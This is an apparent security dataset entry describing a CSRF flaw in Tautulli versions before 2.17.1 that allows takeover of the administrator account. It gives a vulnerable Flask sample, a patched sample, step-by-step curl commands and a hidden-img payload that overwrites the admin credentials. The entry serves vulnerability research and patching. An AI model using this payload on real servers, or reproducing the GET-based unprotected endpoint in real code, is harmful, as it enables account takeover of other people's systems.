CVE-2026-43985
A CSRF vulnerability in Tautulli allows for administrative account takeover.
- CVSS 8.8
- CWE-352
- Authentication, Authorization, and Session Management
- Remote
Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Versions prior to 2.17.1 expose `configUpdate` as a state-changing administrator endpoint, but the route does not enforce `POST` and does not use any anti-CSRF token. In the default form and JWT-based authentication mode, the administrator session cookie is issued with `SameSite=Lax`, which still permits top-level cross-site navigation requests. An attacker can exploit this by luring a logged-in administrator to a malicious page that submits a cross-site request to `/configUpdate` and overwrites the local administrator username and password. The attacker can then sign in directly with the chosen credentials and take over the Tautulli administrative interface. Version 2.17.1 patches the issue.
- CWE
- CWE-352
- CVSS base score
- 8.8
- Published
- 2026-06-04
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Cross-Site Request Forgery (CSRF)
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- Tautulli
- Fixed by upgrading
- Yes
Solution
Upgrade Tautulli to version 2.17.1 or later.
Vulnerable code sample
from flask import Flask, request, session, redirect, url_for, jsonify
from functools import wraps
# This is a simplified representation of the Tautulli application before the fix.
# It uses Flask to demonstrate the web application logic.
app = Flask(__name__)
# A secret key is required for session management in Flask.
app.secret_key = 'vulnerable-secret-key-for-demonstration'
# In-memory "database" to store the configuration, including admin credentials.
# In the real application, this would be a configuration file.
config_data = {
'http_username': 'admin',
'http_password': 'initial_secure_password'
}
def admin_required(f):
"""A decorator to ensure the user is a logged-in administrator."""
@wraps(f)
def decorated_function(*args, **kwargs):
if not session.get('is_admin'):
# In a real app, this might return a 401/403 error.
# For simplicity, we'll just show an error message.
return jsonify({"status": "error", "message": "Authentication required."}), 401
return f(*args, **kwargs)
return decorated_function
@app.route('/login', methods=['POST'])
def login():
"""A simplified login endpoint to simulate an admin session."""
# This is not part of the vulnerability but is needed to set up the scenario.
if request.form.get('username') == config_data['http_username'] and \
request.form.get('password') == config_data['http_password']:
session['is_admin'] = True
return jsonify({"status": "success", "message": "Logged in as admin."})
return jsonify({"status": "error", "message": "Invalid credentials."}), 403
# --- The Vulnerable Endpoint ---
# This endpoint represents the state of Tautulli prior to version 2.17.1.
@app.route('/configUpdate', methods=['GET', 'POST'])
@admin_required
def config_update():
"""
VULNERABILITY: This endpoint is accessible via GET request.
A GET request should be idempotent and not change server state.
Because it accepts GET, it is vulnerable to Cross-Site Request Forgery (CSRF),
as SameSite=Lax cookies are sent with top-level cross-site navigation requests.
VULNERABILITY: There is no anti-CSRF token validation.
"""
# The code incorrectly uses request.args for GET requests to fetch parameters
# that will be used to modify the application's configuration.
params = request.args if request.method == 'GET' else request.form
new_username = params.get('http_username')
new_password = params.get('http_password')
if new_username:
config_data['http_username'] = new_username
print(f"[VULNERABLE ACTION] Admin username changed to: {new_username}")
if new_password:
config_data['http_password'] = new_password
print(f"[VULNERABLE ACTION] Admin password changed to: {new_password}")
# In a real application, this would save the changes to a config file.
# An attacker can now log in with the new credentials.
return jsonify({
"status": "success",
"message": "Configuration updated successfully.",
"new_config_preview": {
"http_username": config_data['http_username']
# Password is not shown for security, but it was changed.
}
})
# Helper endpoint to check the current (potentially compromised) config.
@app.route('/status')
@admin_required
def status():
return jsonify(config_data)
if __name__ == '__main__':
print("Vulnerable Server Simulation")
print("--------------------------")
print("This server simulates the behavior of Tautulli < 2.17.1.")
print("An admin session cookie is sent with SameSite=Lax by default.")
print("The /configUpdate endpoint is vulnerable to CSRF via a GET request.")
print("\nTo simulate the attack:")
print("1. Simulate login (e.g., using curl):")
print(" curl -X POST http://127.0.0.1:8080/login -d \"username=admin&password=initial_secure_password\" --cookie-jar cookie.txt")
print("2. Lure the 'admin' to a malicious page, which makes this request in the background (e.g., via an img tag):")
print(" <img src=\"http://127.0.0.1:8080/configUpdate?http_username=attacker&http_password=hacked\">")
print("3. Simulate visiting the malicious URL with the admin's session cookie:")
print(" curl \"http://127.0.0.1:8080/configUpdate?http_username=attacker&http_password=hacked\" --cookie cookie.txt")
print("4. The attacker can now log in with username 'attacker' and password 'hacked'.")
print(" curl -X POST http://127.0.0.1:8080/login -d \"username=attacker&password=hacked\"")
app.run(host='0.0.0.0', port=8080)Patched code sample
import os
from functools import wraps
from flask import Flask, request, session, jsonify, abort
app = Flask(__name__)
# A secret key is required for session management, which stores the CSRF token
app.secret_key = os.urandom(24)
def admin_required(f):
"""Mock decorator to simulate checking for an administrator session."""
@wraps(f)
def decorated_function(*args, **kwargs):
if session.get("is_admin"):
return f(*args, **kwargs)
abort(401) # Unauthorized
return decorated_function
# The vulnerable endpoint would have accepted GET requests and had no CSRF check.
# The fixed endpoint enforces the POST method and validates a CSRF token.
@app.route('/configUpdate', methods=['POST'])
@admin_required
def config_update():
# FIX 1: The route decorator above enforces that only POST requests are accepted.
# This prevents attackers from triggering the action with simple HTML tags like <img> or <a>.
# FIX 2: Validate a CSRF token from the form against one stored in the session.
# An attacker's malicious site cannot access or guess this token.
submitted_token = request.form.get('csrf_token')
session_token = session.get('csrf_token')
if not submitted_token or not session_token or submitted_token != session_token:
abort(403) # Forbidden - CSRF attempt detected
# If both checks pass, the state-changing action can proceed safely.
username = request.form.get('username')
password = request.form.get('password')
if username and password:
# In a real application, this is where administrator credentials would be updated.
return jsonify({"status": "success", "message": "Configuration updated."})
return jsonify({"status": "error", "message": "Missing parameters."}), 400Payload
<html>
<body>
<img src="http://[TAUTULLI_HOST]:[PORT]/configUpdate?http_username=attacker&http_password=pwned" width="0" height="0" border="0">
</body>
</html>
Cite this entry
@misc{vaitp:cve202643985,
title = {{A CSRF vulnerability in Tautulli allows for administrative account takeover.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-43985},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-43985/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
